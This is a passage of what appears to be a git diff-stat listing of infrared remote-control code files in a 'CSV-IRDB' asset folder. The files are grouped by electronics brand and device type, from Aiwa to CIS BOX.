.../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir | 0 .../optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir | 0 .../optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir | 0 .../_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir | 0 .../optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir | 0 .../_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir | 0 .../optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir | 0 .../optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir | 0 .../optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir | 0 .../_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir | 0 .../optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir | 0 .../optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir | 0 .../optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir | 0 .../optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir | 0 .../optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir | 0 .../optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir | 0 .../_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir | 0 .../_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir | 0 .../optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir | 0 .../_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir | 0 .../_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir | 0 .../_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir | 0 .../_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir | 0 .../optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir | 0 .../optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir | 0 .../optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir | 0 .../_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir | 0 .../_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir | 0 .../_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir | 0 .../optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir | 0 .../optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir | 0 .../_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir | 0 .../_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir | 0 .../_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir | 0 .../_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir | 0 .../_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir | 0 .../_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir | 0 .../_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir | 0 .../_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir | 0 .../_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir | 0 .../_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir | 0 .../_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir | 0 .../_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir | 0 .../optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir | 0 .../optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir | 0 .../optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir | 0 .../optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir | 0 .../_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir | 0 .../optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir | 0 .../_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir | 0 .../optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir | 0 .../optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir | 0 .../optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir | 0 .../optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir | 0 .../optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir | 0 .../optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir | 0 .../optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir | 0 .../optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir | 0 .../optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir | 0 .../optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir | 0 .../optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir | 0 .../_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir | 0 .../_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir | 0 .../_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir | 0 .../_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir | 0 .../optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir | 0 .../optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir | 0 .../optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir | 0 .../_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir | 0 .../optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/System/186,85.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir | 0 .../optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir | 0 .../optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir | 0 .../optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir | 0 .../optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir | 0 .../optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir | 0 .../optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir | 0 .../optional-assets/_CSV-IRDB_/CIS 